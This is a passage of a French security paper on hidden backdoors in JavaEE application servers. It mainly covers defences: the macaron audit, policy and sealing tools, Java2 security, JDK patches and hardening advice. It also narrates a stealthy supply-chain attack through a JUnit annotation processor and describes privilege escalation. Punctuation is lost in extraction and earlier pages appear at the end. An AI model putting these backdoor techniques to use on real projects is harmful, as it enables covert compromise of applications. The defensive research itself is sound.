Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 395

Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet

Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications

En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms

Fig 4 Repartition des classes dans Tomcat 5

Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles

La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu

396 Porte derobee dans les serveurs drsquoapplications JavaEE

Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active

24 Les techniques drsquoinjections

Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte

Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes

Fig 5 Point drsquoinsertions

Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution

